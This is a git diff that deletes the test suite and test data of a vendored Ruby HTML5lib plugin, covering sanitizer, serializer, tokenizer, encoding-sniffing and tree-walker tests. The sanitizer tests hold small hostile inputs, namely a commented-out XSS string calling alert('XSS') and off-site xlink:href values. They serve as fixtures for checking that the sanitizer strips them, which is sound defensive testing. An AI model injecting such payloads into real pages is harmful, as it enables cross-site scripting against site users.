-    define_method "test_should_allow_#{attribute_name}_attribute" do
-      input = "<p #{attribute_name}='foo'>foo <bad>bar</bad> baz</p>"
-      output = "<p #{attribute_name}='foo'>foo &lt;bad&gt;bar&lt;/bad&gt; baz</p>"
-      htmloutput = "<p #{attribute_name.downcase}='foo'>foo &lt;bad&gt;bar&lt;/bad&gt; baz</p>"
-      rexmloutput = attribute_name.include?(':') && !(attribute_name =~ /^xml(ns)?:/) ? "Ill-formed XHTML!" : output
-      check_sanitization(input, htmloutput, output, rexmloutput)
-    end
-  end
-
-  HTMLSanitizer::ALLOWED_ATTRIBUTES.each do |attribute_name|
-    define_method "test_should_forbid_#{attribute_name.upcase}_attribute" do
-      input = "<p #{attribute_name.upcase}='display: none;'>foo <bad>bar</bad> baz</p>"
-      output =  "<p>foo &lt;bad&gt;bar&lt;/bad&gt; baz</p>"
-      rexmloutput = attribute_name.include?(':') ? "Ill-formed XHTML!" : output
-      check_sanitization(input, output, output, rexmloutput)
-    end
-  end
-
-  HTMLSanitizer::ALLOWED_PROTOCOLS.each do |protocol|
-    define_method "test_should_allow_#{protocol}_uris" do
-      input = %(<a href="#{protocol}">foo</a>)
-      output = "<a href='#{protocol}'>foo</a>"
-      check_sanitization(input, output, output, output)
-    end
-  end
-
-  HTMLSanitizer::ALLOWED_PROTOCOLS.each do |protocol|
-    define_method "test_should_allow_uppercase_#{protocol}_uris" do
-      input = %(<a href="#{protocol.upcase}">foo</a>)
-      output = "<a href='#{protocol.upcase}'>foo</a>"
-      check_sanitization(input, output, output, output)
-    end
-  end
-
-  HTMLSanitizer::SVG_ALLOW_LOCAL_HREF.each do |tag_name|
-    next unless HTMLSanitizer::ALLOWED_ELEMENTS.include?(tag_name)
-    define_method "test_#{tag_name}_should_allow_local_href" do
-      input = %(<#{tag_name} xlink:href="#foo"/>)
-      output = "<#{tag_name.downcase} xlink:href='#foo'/>"
-      xhtmloutput = "<#{tag_name} xlink:href='#foo'></#{tag_name}>"
-      rexmloutput = "Ill-formed XHTML!"
-      check_sanitization(input, output, xhtmloutput, rexmloutput)
-    end
-
-    define_method "test_#{tag_name}_should_allow_local_href_with_newline" do
-      input = %(<#{tag_name} xlink:href="\n#foo"/>)
-      output = "<#{tag_name.downcase} xlink:href='\n#foo'/>"
-      xhtmloutput = "<#{tag_name} xlink:href='\n#foo'></#{tag_name}>"
-      rexmloutput = "Ill-formed XHTML!"
-      check_sanitization(input, output, xhtmloutput, rexmloutput)
-    end
-
-    define_method "test_#{tag_name}_should_forbid_nonlocal_href" do
-      input = %(<#{tag_name} xlink:href="http://bad.com/foo"/>)
-      output = "<#{tag_name.downcase}/>"
-      xhtmloutput = "<#{tag_name}></#{tag_name}>"
-      rexmloutput = "Ill-formed XHTML!"
-      check_sanitization(input, output, xhtmloutput, rexmloutput)
-    end
-
-    define_method "test_#{tag_name}_should_forbid_nonlocal_href_with_newline" do
-      input = %(<#{tag_name} xlink:href="\nhttp://bad.com/foo"/>)
-      output = "<#{tag_name.downcase}/>"
-      xhtmloutput = "<#{tag_name}></#{tag_name}>"
-      rexmloutput = "Ill-formed XHTML!"
-      check_sanitization(input, output, xhtmloutput, rexmloutput)
-    end
-  end
-
-  def test_should_handle_astral_plane_characters
-    input = "<p>&#x1d4b5; &#x1d538;</p>"
-    output = "<p>\360\235\222\265 \360\235\224\270</p>"
-    check_sanitization(input, output, output, output)
-
-    input = "<p><tspan>\360\235\224\270</tspan> a</p>"
-    output = "<p><tspan>\360\235\224\270</tspan> a</p>"
-    check_sanitization(input, output, output, output)
-  end
-
-# This affects only NS4. Is it worth fixing?
-#  def test_javascript_includes
-#    input = %(<div size="&{alert('XSS')}">foo</div>)
-#    output = "<div>foo</div>"    
-#    check_sanitization(input, output, output, output)
-#  end
-
-  html5_test_files('sanitizer').each do |filename|
-    JSON::parse(open(filename).read).each do |test|
-      define_method "test_#{test['name']}" do
-        check_sanitization(
-          test['input'],
-          test['output'],
-          test['xhtml'] || test['output'],
-          test['rexml'] || test['output']
-        )
-      end
-    end
-  end
-end
diff --git a/attic/vendor/plugins/HTML5lib/test/test_serializer.rb b/attic/vendor/plugins/HTML5lib/test/test_serializer.rb
deleted file mode 100644
index 29781228..00000000
--- a/attic/vendor/plugins/HTML5lib/test/test_serializer.rb
+++ /dev/null
@@ -1,67 +0,0 @@
-require File.join(File.dirname(__FILE__), 'preamble')
-
-require 'html5/html5parser'
-require 'html5/serializer'
-require 'html5/treewalkers'
-
-#Run the serialize error checks
-checkSerializeErrors = false
-
-class JsonWalker < HTML5::TreeWalkers::Base
-  def each
-    @tree.each do |token|
-      case token[0]
-      when 'StartTag'
-        yield start_tag(token[1], token[2])
-      when 'EndTag'
-        yield end_tag(token[1])
-      when 'EmptyTag'
-        yield empty_tag(token[1], token[2])
-      when 'Comment'
-        yield comment(token[1])
-      when 'Characters', 'SpaceCharacters'
-        text(token[1]) {|textToken| yield textToken}
-      when 'Doctype'
-        yield doctype(token[1], token[2], token[3])
-      else
-        raise "Unknown token type: " + token[0]
-      end
-    end
-  end
-end
-
-class Html5SerializeTestcase < Test::Unit::TestCase
-  html5_test_files('serializer').each do |filename|
-    test_name = File.basename(filename).sub('.test', '')
-    tests = JSON::parse(open(filename).read)
-    tests['tests'].each_with_index do |test, index|
-
-      define_method "test_#{test_name}_#{index+1}" do
-        if test["options"] and test["options"]["encoding"]
-          test["options"][:encoding] = test["options"]["encoding"]
-        end
-
-        result = HTML5::HTMLSerializer.
-          serialize(JsonWalker.new(test["input"]), (test["options"] || {}))
-        expected = test["expected"]
-        if expected.length == 1
-          assert_equal(expected[0], result, test["description"])
-        elsif !expected.include?(result)
-          flunk("Expected: #{expected.inspect}, Received: #{result.inspect}")
-        end
-
-        next if test_name == 'optionaltags'
-
-        result = HTML5::XHTMLSerializer.
-          serialize(JsonWalker.new(test["input"]), (test["options"] || {}))
-        expected = test["xhtml"] || test["expected"]
-        if expected.length == 1
-          assert_equal(expected[0], result, test["description"])
-        elsif !expected.include?(result)
-          flunk("Expected: #{expected.inspect}, Received: #{result.inspect}")
-        end
-      end
-
-    end
-  end
-end
diff --git a/attic/vendor/plugins/HTML5lib/test/test_sniffer.rb b/attic/vendor/plugins/HTML5lib/test/test_sniffer.rb
deleted file mode 100644
index fec2d058..00000000
--- a/attic/vendor/plugins/HTML5lib/test/test_sniffer.rb
+++ /dev/null
@@ -1,27 +0,0 @@
-require File.join(File.dirname(__FILE__), 'preamble')
-require "html5/sniffer"
-
-class TestFeedTypeSniffer < Test::Unit::TestCase
-  include HTML5
-  include TestSupport
-  include Sniffer
-  
-  html5_test_files('sniffer').each do |test_file|
-    test_name = File.basename(test_file).sub('.test', '')
-
-    tests = JSON.parse(File.read(test_file))
-
-    tests.each_with_index do |data, index|
-      define_method('test_%s_%d' % [test_name, index + 1]) do
-        assert_equal data['type'], html_or_feed(data['input'])
-      end
-    end
-  end
-  # each_with_index do |t, i|
-  #     define_method "test_#{i}" do
-  #       assert_equal t[0], sniff_feed_type(t[1])
-  #     end
-  #   end
-  
-
-end
\ No newline at end of file
diff --git a/attic/vendor/plugins/HTML5lib/test/test_stream.rb b/attic/vendor/plugins/HTML5lib/test/test_stream.rb
deleted file mode 100755
index d5d6740e..00000000
--- a/attic/vendor/plugins/HTML5lib/test/test_stream.rb
+++ /dev/null
@@ -1,71 +0,0 @@
-require File.join(File.dirname(__FILE__), 'preamble')
-
-require 'html5/inputstream'
-
-class HTMLInputStreamTest < Test::Unit::TestCase
-  include HTML5
-
-  def getc stream
-    if String.method_defined? :force_encoding
-      stream.char.force_encoding('binary')
-    else
-      stream.char
-    end
-  end
-
-  def test_char_ascii
-    stream = HTMLInputStream.new("'", :encoding=>'ascii')
-    assert_equal('ascii', stream.char_encoding)
-    assert_equal("'", stream.char)
-  end
-
-  def test_char_null
-    stream = HTMLInputStream.new("\x00")
-    assert_equal("\xef\xbf\xbd", getc(stream))
-  end
-
-  def test_char_utf8
-    stream = HTMLInputStream.new("\xe2\x80\x98", :encoding=>'utf-8')
-    assert_equal('utf-8', stream.char_encoding)
-    assert_equal("\xe2\x80\x98", getc(stream))
-  end
-
-  def test_char_win1252
-    stream = HTMLInputStream.new("\xa2\xc5\xf1\x92\x86")
-    assert_equal('windows-1252', stream.char_encoding)
-    assert_equal("\xc2\xa2", getc(stream))
-    assert_equal("\xc3\x85", getc(stream))
-    assert_equal("\xc3\xb1", getc(stream))
-    assert_equal("\xe2\x80\x99", getc(stream))
-    assert_equal("\xe2\x80\xa0", getc(stream))
-  end
-
-  def test_bom
-    stream = HTMLInputStream.new("\xef\xbb\xbf" + "'")
-    assert_equal('utf-8', stream.char_encoding)
-    assert_equal("'", stream.char)
-  end
-
-  begin
-    require 'iconv'
-
-    def test_utf_16
-      input = Iconv.new('utf-16', 'utf-8').iconv(' '*1025)
-      stream = HTMLInputStream.new(input)
-      assert('utf-16-le', stream.char_encoding)
-      assert_equal(1025, stream.chars_until(' ', true).length)
-    end
-  rescue LoadError
-    puts "iconv not found, skipping iconv tests"
-  end
-
-  def test_newlines
-    stream = HTMLInputStream.new("\xef\xbb\xbf" + "a\nbb\r\nccc\rdddd")
-    assert_equal([1,0], stream.position)
-    assert_equal("a\nbb\n", stream.chars_until('c'))
-    assert_equal([3,0], stream.position)
-    assert_equal("ccc\ndddd", stream.chars_until('x'))
-    assert_equal([4,4], stream.position)
-    assert_equal([1,2,3], stream.instance_eval {@line_lengths})
-  end
-end
diff --git a/attic/vendor/plugins/HTML5lib/test/test_tokenizer.rb b/attic/vendor/plugins/HTML5lib/test/test_tokenizer.rb
deleted file mode 100644
index e77d2202..00000000
--- a/attic/vendor/plugins/HTML5lib/test/test_tokenizer.rb
+++ /dev/null
@@ -1,94 +0,0 @@
-require File.join(File.dirname(__FILE__), 'preamble')
-
-require 'html5/tokenizer'
-
-require 'tokenizer_test_parser'
-
-class Html5TokenizerTestCase < Test::Unit::TestCase
-
-  def assert_tokens_match(expectedTokens, receivedTokens, ignoreErrorOrder, message)
-    if !ignoreErrorOrder
-      return expectedTokens == receivedTokens
-    else
-      #Sort the tokens into two groups; non-parse errors and parse errors
-      expected = [[],[]]
-      received = [[],[]]
-      
-      for token in expectedTokens
-        if token != "ParseError"
-          expected[0] << token
-        else
-          expected[1] << token
-        end
-      end
-
-      for token in receivedTokens
-        if token != "ParseError"
-          received[0] << token
-        else
-          received[1] << token
-        end
-      end
-      assert_equal expected, received, message
-    end
-  end
-
-  def type_of?(token_name, token)
-    token != 'ParseError' and token_name == token.first
-  end
-
-  def convert_attribute_arrays_to_hashes(tokens)
-    tokens.inject([]) do |tokens, token|
-      token[2] = Hash[*token[2].reverse.flatten] if type_of?('StartTag', token)
-      tokens << token
-    end
-  end
-  
-  def concatenate_consecutive_characters(tokens)
-    tokens.inject([]) do |tokens, token|
-      if type_of?('Character', token) and tokens.any? and type_of?('Character', tokens.last)
-        tokens.last[1] = tokens.last[1] + token[1]
-        next tokens
-      end
-      tokens << token
-    end
-  end
-
-  def tokenizer_test(data)
-    (data['contentModelFlags'] || [:PCDATA]).each do |content_model_flag|
-      message = [
-        '', 'Description:', data['description'],
-        '', 'Input:', data['input'],
-        '', 'Content Model Flag:', content_model_flag,
-        '' ] * "\n"
-
-      assert_nothing_raised message do
-        tokenizer = HTML5::HTMLTokenizer.new(data['input'])
-
-        tokenizer.content_model_flag = content_model_flag.to_sym
-
-        tokenizer.current_token = {:type => :startTag, :name => data['lastStartTag']} if data.has_key?('lastStartTag')
-
-        tokens = TokenizerTestParser.new(tokenizer).parse
-
-        actual = concatenate_consecutive_characters(convert_attribute_arrays_to_hashes(tokens))
-
-        expected = concatenate_consecutive_characters(data['output'])
-
-        assert_tokens_match expected, actual, data["ignoreErrorOrder"], message
-      end
-    end 
-  end
-
-  html5_test_files('tokenizer').each do |test_file|
-    test_name = File.basename(test_file).sub('.test', '')
-
-    tests = JSON.parse(File.read(test_file))['tests']
-
-    tests.each_with_index do |data, index|
-      define_method('test_%s_%d' % [test_name, index + 1]) { tokenizer_test data }
-    end
-  end
-
-end
-
diff --git a/attic/vendor/plugins/HTML5lib/test/test_treewalkers.rb b/attic/vendor/plugins/HTML5lib/test/test_treewalkers.rb
deleted file mode 100644
index 11df6eb1..00000000
--- a/attic/vendor/plugins/HTML5lib/test/test_treewalkers.rb
+++ /dev/null
@@ -1,135 +0,0 @@
-require File.join(File.dirname(__FILE__), 'preamble')
-
-require 'html5/html5parser'
-require 'html5/treewalkers'
-require 'html5/treebuilders'
-
-$tree_types_to_test = {
-  'simpletree' =>
-    {:builder => HTML5::TreeBuilders['simpletree'],
-     :walker  => HTML5::TreeWalkers['simpletree']},
-  'rexml' =>
-    {:builder => HTML5::TreeBuilders['rexml'],
-     :walker  => HTML5::TreeWalkers['rexml']},
-  'hpricot' =>
-    {:builder => HTML5::TreeBuilders['hpricot'],
-     :walker  => HTML5::TreeWalkers['hpricot']},
-}
-
-puts 'Testing tree walkers: ' + $tree_types_to_test.keys * ', '
-
-class TestTreeWalkers < Test::Unit::TestCase
-  include HTML5::TestSupport
-
-  def concatenateCharacterTokens(tokens)
-    charactersToken = nil
-    for token in tokens
-        type = token[:type]
-        if [:Characters, :SpaceCharacters].include?(type)
-            if charactersToken == nil
-                charactersToken = {:type => :Characters, :data => token[:data]}
-            else
-                charactersToken[:data] += token[:data]
-            end
-        else
-            if charactersToken != nil
-                yield charactersToken
-                charactersToken = nil
-            end
-            yield token
-        end
-    end
-    yield charactersToken if charactersToken != nil
-  end
-
-  def convertTokens(tokens)
-    output = []
-    indent = 0
-    concatenateCharacterTokens(tokens) do |token|
-      case token[:type]
-      when :StartTag, :EmptyTag
-        output << "#{' '*indent}<#{token[:name]}>"
-        indent += 2
-        for name, value in token[:data].to_a.sort
-          next if name=='xmlns'
-          output << "#{' '*indent}#{name}=\"#{value}\""
-        end
-        indent -= 2 if token[:type] == :EmptyTag
-      when :EndTag
-        indent -= 2
-      when :Comment
-        output << "#{' '*indent}<!-- #{token[:data]} -->"
-      when :Doctype
-        if token[:name] and token[:name].any?
-          output << "#{' '*indent}<!DOCTYPE #{token[:name]}>"
-        else
-          output << "#{' '*indent}<!DOCTYPE >"
-        end
-      when :Characters, :SpaceCharacters
-        output << "#{' '*indent}\"#{token[:data]}\""
-      end
-    end
-    output.join("\n")
-  end
-
-  html5_test_files('tree-construction').each do |test_file|
-
-    test_name = File.basename(test_file).sub('.dat', '')
-    next if test_name == 'tests5' # TODO
-
-    TestData.new(test_file, %w(data errors document-fragment document)).
-      each_with_index do |(input, errors, inner_html, expected), index|
-
-      expected = expected.gsub("\n| ","\n")[2..-1]
-
-      $tree_types_to_test.each do |tree_name, tree_class|
-
-        define_method "test_#{test_name}_#{index}_#{tree_name}" do
-
-          parser = HTML5::HTMLParser.new(:tree => tree_class[:builder])
-
-          if inner_html
-            parser.parse_fragment(input, inner_html)
-          else
-            parser.parse(input)
-          end
-
-          document = parser.tree.get_document
-
-          begin
-            output = sortattrs(convertTokens(tree_class[:walker].new(document)))
-            expected = sortattrs(expected)
-            assert_equal expected, output, [
-              '', 'Input:', input,
-              '', 'Expected:', expected,
-              '', 'Recieved:', output
-            ].join("\n")
-          rescue NotImplementedError
-            # Amnesty for those that confess...
-          end
-        end
-      end
-   end
-  end
-
-  def test_all_tokens
-    expected = [
-        {:data => [], :type => :StartTag, :name => 'html'},
-        {:data => [], :type => :StartTag, :name => 'head'},
-        {:data => [], :type => :EndTag,   :name => 'head'},
-        {:data => [], :type => :StartTag, :name => 'body'},
-        {:data => [], :type => :EndTag,   :name => 'body'},
-        {:data => [], :type => :EndTag,   :name => 'html'}]
-    for treeName, tree_class in $tree_types_to_test
-      p = HTML5::HTMLParser.new(:tree => tree_class[:builder])
-      document = p.parse("<html></html>")
-      # document = tree_class.get(:adapter)(document)
-      output = tree_class[:walker].new(document)
-      expected.zip(output) do |expected_token, output_token|
-        assert_equal(expected_token, output_token)
-      end
-    end
-  end
-
-
-end
diff --git a/attic/vendor/plugins/HTML5lib/test/test_validator.rb b/attic/vendor/plugins/HTML5lib/test/test_validator.rb
deleted file mode 100755
index 9ac090dd..00000000
--- a/attic/vendor/plugins/HTML5lib/test/test_validator.rb
+++ /dev/null
@@ -1,31 +0,0 @@
-#!/usr/bin/env ruby -wKU
-
-require File.join(File.dirname(__FILE__), 'preamble')
-
-require 'html5'
-require 'html5/filters/validator'
-
-class TestValidator < Test::Unit::TestCase
-  def run_validator_test(test)
-    p = HTML5::HTMLParser.new(:tokenizer => HTMLConformanceChecker)
-    p.parse(test['input'])
-    errorCodes = p.errors.collect{|e| e[1]}
-    if test.has_key?('fail-if')
-      assert !errorCodes.include?(test['fail-if'])
-    end
-    if test.has_key?('fail-unless')
-      assert errorCodes.include?(test['fail-unless'])
-    end
-  end
-
-  for filename in html5_test_files('validator')
-    tests    = JSON.load(open(filename))
-    testName = File.basename(filename).sub(".test", "")
-    tests['tests'].each_with_index do |test, index|
-      define_method "test_#{testName}_#{index}" do
-        run_validator_test(test)
-      end
-    end
-  end
-end
-
diff --git a/attic/vendor/plugins/HTML5lib/test/tokenizer_test_parser.rb b/attic/vendor/plugins/HTML5lib/test/tokenizer_test_parser.rb
deleted file mode 100644
index edc21f0d..00000000
--- a/attic/vendor/plugins/HTML5lib/test/tokenizer_test_parser.rb
+++ /dev/null
@@ -1,63 +0,0 @@
-require 'html5/constants'
-
-class TokenizerTestParser
-  def initialize(tokenizer)
-    @tokenizer = tokenizer
-  end
-
-  def parse
-    @outputTokens = []
-
-    debug = nil
-    for token in @tokenizer
-      debug = token.inspect if token[:type] == :ParseError
-      send(('process' + token[:type].to_s), token)
-    end
-
-    return @outputTokens
-  end
-
-  def processDoctype(token)
-    @outputTokens.push(["DOCTYPE", token[:name], token[:publicId],
-      token[:systemId], token[:correct]])
-  end
-
-  def processStartTag(token)
-    @outputTokens.push(["StartTag", token[:name], token[:data]])
-  end
-
-  def processEmptyTag(token)
-    if not HTML5::VOID_ELEMENTS.include? token[:name]
-      @outputTokens.push("ParseError")
-    end
-    @outputTokens.push(["StartTag", token[:name], token[:data]])
-  end
-
-  def processEndTag(token)
-    if token[:data].length > 0
-      self.processParseError(token)
-    end
-    @outputTokens.push(["EndTag", token[:name]])
-  end
-
-  def processComment(token)
-    @outputTokens.push(["Comment", token[:data]])
-  end
-
-  def processCharacters(token)
-    @outputTokens.push(["Character", token[:data]])
-  end
-
-  alias processSpaceCharacters processCharacters
-
-  def processCharacters(token)
-    @outputTokens.push(["Character", token[:data]])
-  end
-
-  def process_eof(token)
-  end
-
-  def processParseError(token)
-    @outputTokens.push("ParseError")
-  end
-end
diff --git a/attic/vendor/plugins/HTML5lib/test19.rb b/attic/vendor/plugins/HTML5lib/test19.rb
deleted file mode 100644
index d00b8039..00000000
--- a/attic/vendor/plugins/HTML5lib/test19.rb
+++ /dev/null
@@ -1,38 +0,0 @@
-# 
-# This temporary test driver tracks progress on getting HTML5lib working
-# on Ruby 1.9.  Prereqs of Hoe, Hpricot, and UniversalDetector will be
-# required to complete this.
-#
-# Once all the tests pass, this file should be deleted
-#
-
-require 'test/test_cli'
-
-# requires UniversalDetector
-# require 'test/test_encoding'
-
-require 'test/test_input_stream'
-
-require 'test/test_lxp'
-
-require 'test/test_parser'
-
-# warning: method redefined; discarding old test
-# warning: instance variable @expanded_name not initialized
-# SimpleDelegator.class
-# require 'test/test_sanitizer'
-
-require 'test/test_serializer'
-
-require 'test/test_sniffer'
-
-require 'test/test_stream'
-
-# warning: shadowing outer local variable - tokens
-# require 'test/test_tokenizer'
-
-# requires hpricot
-# require 'test/test_treewalkers'
-
-# warning: instance variable @delegate_sd_obj not initialized
-# require 'test/test_validator'
diff --git a/attic/vendor/plugins/HTML5lib/testdata/encoding/chardet/test_big5.txt b/attic/vendor/plugins/HTML5lib/testdata/encoding/chardet/test_big5.txt
deleted file mode 100644
index 91074c98..00000000
--- a/attic/vendor/plugins/HTML5lib/testdata/encoding/chardet/test_big5.txt
+++ /dev/null
@@ -1,51 +0,0 @@
-�Ѥl�m�D�w�g�n �Ĥ@~�|�Q��
-
-�Ѥl�D�g
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-�G�`�L�A���H�[�䧮�F�`���A���H�[���u�C����̡A�P�X�Ӳ��W�A�P�פ�
-�ȡC�Ȥ��S�ȡA���������C
-
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-���ۦ��A���u�ۧΡA���U�۶ɡA���n�۩M�A�e����H�C�O�H�t�H�B�u�L��
-�v���ơA��u�����v���СC�U���@�j�Ӥ���A�ͦӤ����A���Ӥ���A�\��
-�ӥ��~�C�Ұߥ��~�A�O�H���h�C
-
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-���C�ϤҴ��̤������]�C���u�L���v�A�h�L���v�C
-
-�ĥ|��
-
-�u�D�v�R�A�ӥΤ��Τ��աC�W���A���U�����v�Q����U�A�Ѩ�ɡA�M���
-�A�P��СQ�祿���Φs�C�^�����֤��l�H�H�Ҥ����C
-
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-�Ѧa�����A�H�U�����쪯�Q�t�H�����A�H�ʩm���쪯�C�Ѧa�����A��S��
-���G�H��Ӥ��}�A�ʦӷU�X�C�h���ƽa�A���p�u���C
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-
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-�Ѫ��a�[�C�Ѧa�ҥH����B�[�̡A�H�䤣�ۥ͡A�G����[�C�O�H�t�H���
-���Ө����A�~�䨭�Ө��s�C�D�H��L�p���H�G�ন��p�C
-
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-�W�A�P�����A�����H�A�F���v�A�Ƶ���A�ʵ��ɡC�Ұߤ����A�G�L�סC
-
-�ĤE��
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diff --git a/attic/vendor/plugins/HTML5lib/testdata/encoding/test-yahoo-jp.dat b/attic/vendor/plugins/HTML5lib/testdata/encoding/test-yahoo-jp.dat
deleted file mode 100644
index 36292789..00000000
--- a/attic/vendor/plugins/HTML5lib/testdata/encoding/test-yahoo-jp.dat
+++ /dev/null
@@ -1,10 +0,0 @@
-#data
-<html>
-<head>
-<meta http-equiv="Content-Type" content="text/html; charset=euc-jp">
-<!--京-->
-<title>Yahoo! JAPAN</title>
-<meta name="description" content="日本最大級のポータルサイト。検索、オークション、ニュース、メール、コミュニティ、ショッピング、など80以上のサービスを展開。あなたの生活をより豊かにする「ライフ・エンジン」を目指していきます。">
-<style type="text/css" media="all">
-#encoding
-euc-jp
diff --git a/attic/vendor/plugins/HTML5lib/testdata/encoding/tests1.dat b/attic/vendor/plugins/HTML5lib/testdata/encoding/tests1.dat
deleted file mode 100644
index 826f74f5..00000000
--- a/attic/vendor/plugins/HTML5lib/testdata/encoding/tests1.dat
+++ /dev/null
@@ -1,394 +0,0 @@
-#data
-<!DOCTYPE HTML>
-<!-- (control test - for the other tests to work, this should pass - you may have to set your defaults appropriately) -->
-#encoding
-Windows-1252
-
-#data
-<!DOCTYPE HTML>
-<meta charset="ISO-8859-1">
-#encoding
-Windows-1252
-
-#data
-<!DOCTYPE HTML>
-<meta charset="ISO-8859-9">
-#encoding
-ISO-8859-9
-
-#data
-<!DOCTYPE HTML>
-<meta charset='ISO-8859-9'>
-#encoding
-ISO-8859-9
-
-#data
-<!DOCTYPE HTML>
-<meta charset=ISO-8859-9>
-#encoding
-ISO-8859-9
-
-#data
-<!DOCTYPE HTML>
-<meta
-charset=ISO-8859-9>
-#encoding
-ISO-8859-9
-
-#data
-<!DOCTYPE HTML>
-<metacharset=ISO-8859-9>
-#encoding
-Windows-1252
-
-#data
-<!DOCTYPE HTML>
-<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-9">
-<!-- XXX this is a tough one, not sure how to do this one, unless we explictly do content= processing -->
-#encoding
-ISO-8859-9
-
-#data
-<!DOCTYPE HTML>
-<meta content="text/html; charset=ISO-8859-9" http-equiv="Content-Type">
-<!-- XXX this is a tough one, not sure how to do this one, unless we explictly do content= processing -->
-#encoding
-ISO-8859-9
-
-#data
-<!DOCTYPE HTML>
-<meta http-equiv="Content-Type" content=text/html; charset=ISO-8859-9>
-#encoding
-ISO-8859-9
-
-#data
-<!DOCTYPE HTML>
-<meta http-equiv="Content-Type content="text/html; charset=ISO-8859-9">
-#encoding
-Windows-1252
-
-#data
-<!DOCTYPE HTML>
-<meta http-equiv="Content-Type " content="text/html; charset=ISO-8859-9">
-#encoding
-ISO-8859-9
-
-#data
-<!DOCTYPE HTML>
-<meta content="text/html; charset=ISO-8859-9" http-equiv="Content-Type ">
-#encoding
-ISO-8859-9
-
-#data
-<!DOCTYPE HTML>
-<meta http-equiv="Content-Type>" content="text/html; charset=ISO-8859-9">
-#encoding
-ISO-8859-9
-
-#data
-<!DOCTYPE HTML>
-<meta content="text/html; charset=ISO-8859-9" http-equiv="Content-Type>">
-#encoding
-ISO-8859-9
-
-#data
-<!DOCTYPE HTML>
-<meta http-equiv="Content-Style-Type" content="text/html; charset=ISO-8859-9">
-#encoding
-ISO-8859-9
-
-#data
-<!DOCTYPE HTML>
-<meta content="text/html; charset=ISO-8859-9" http-equiv="Content-Style-Type">
-#encoding
-ISO-8859-9
-
-#data
-<!DOCTYPE HTML>
-<meta name="Content-Style-Type" content="text/html; charset=ISO-8859-9">
-#encoding
-ISO-8859-9
-
-#data
-<!DOCTYPE HTML>
-<meta content="text/html; charset=ISO-8859-9" name="Content-Style-Type">
-#encoding
-ISO-8859-9
-
-#data
-<!DOCTYPE HTML>
-<meta content="text/html; charset=ISO-8859-9">
-#encoding
-ISO-8859-9
-
-#data
-<!DOCTYPE HTML>
-<meta content=" text/html; charset = ISO-8859-9 ">
-#encoding
-ISO-8859-9
-
-#data
-<!DOCTYPE HTML>
-<meta content="
-text/html; charset=ISO-8859-9
-">
-#encoding
-ISO-8859-9
-
-#data
-<!DOCTYPE HTML>
-<meta charset="
-ISO-8859-9
-">
-#encoding
-ISO-8859-9
-
-#data
-<!DOCTYPE HTML>
-<meta charset=
-ISO-8859-9
->
-#encoding
-ISO-8859-9
-
-#data
-<!DOCTYPE HTML>
-<meta charset="ISO-8859-9>
-<p>"</p>
-#encoding
-Windows-1252
-
-#data
-<!DOCTYPE HTML>
-<meta charset=ISO-8859-9">
-<p>"</p>
-#encoding
-Windows-1252
-
-#data
-<!DOCTYPE HTML>
-<meta " charset=ISO-8859-9>
-<p>"</p>
-#encoding
-ISO-8859-9
-
-#data
-<!DOCTYPE HTML>
-<meta test" charset=ISO-8859-9>
-<p>"</p>
-#encoding
-ISO-8859-9
-
-#data
-<!DOCTYPE HTML>
-<meta test=" charset=ISO-8859-9>
-<p>"</p>
-#encoding
-Windows-1252
-
-#data
-<!DOCTYPE HTML>
-<meta test="' charset=ISO-8859-9>
-<p>"'</p>
-#encoding
-Windows-1252
-
-#data
-<!DOCTYPE HTML>
-<meta test='" charset=ISO-8859-9>
-<p>'"</p>
-#encoding
-Windows-1252
-
-#data
-<!DOCTYPE HTML>
-<meta test="" charset=ISO-8859-9>
-#encoding
-ISO-8859-9
-
-#data
-<!DOCTYPE HTML>
-<meta test=x" charset=ISO-8859-9>
-<p>"</p>
-#encoding
-ISO-8859-9
-
-#data
-<!DOCTYPE HTML>
-<head></head><p title="x>
-<meta test=x" charset=ISO-8859-9>
-<p>"</p>
-#encoding
-Windows-1252
-
-#data
-<!DOCTYPE HTML>
-<head></head><p title="x>
-<meta test=x charset=ISO-8859-9>
-<p>"</p>
-#encoding
-Windows-1252
-
-#data
-<!DOCTYPE HTML>
-<head></head><p title="x>
-<meta charset=ISO-8859-9>
-<p>"</p>
-#encoding
-Windows-1252
-
-#data
-<!DOCTYPE HTML>
-<head></head><p title="x>">
-<meta charset=ISO-8859-9>
-<p>"</p>
-#encoding
-ISO-8859-9
-
-#data
-<!DOCTYPE HTML>
-<meta charset="ISO-8859-1">
-<meta charset="ISO-8859-9">
-#encoding
-Windows-1252
-
-#data
-<!DOCTYPE HTML>
-<meta charset="ISO-8859-9">
-<meta charset="ISO-8859-1">
-#encoding
-ISO-8859-9
-
-#data
-<!DOCTYPE HTML>
-<!--<meta charset="ISO-8859-1">-->
-<meta charset="ISO-8859-9">
-#encoding
-ISO-8859-9
-
-#data
-<!DOCTYPE HTML>
-<!--<meta charset="ISO-8859-9">-->
-<meta charset="ISO-8859-1">
-#encoding
-Windows-1252
-
-#data
-<!DOCTYPE HTML>
-<!-- Starts with UTF-8 BOM -->
-#encoding
-UTF-8
-
-#data
-<!DOCTYPE HTML>
-<meta charset="ISO-8859-1">
-<!-- Starts with UTF-8 BOM -->
-#encoding
-UTF-8
-
-#data
-<!-- 511 characters xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx-->
-<meta charset="ISO-8859-9">
-#encoding
-ISO-8859-9
-
-#data
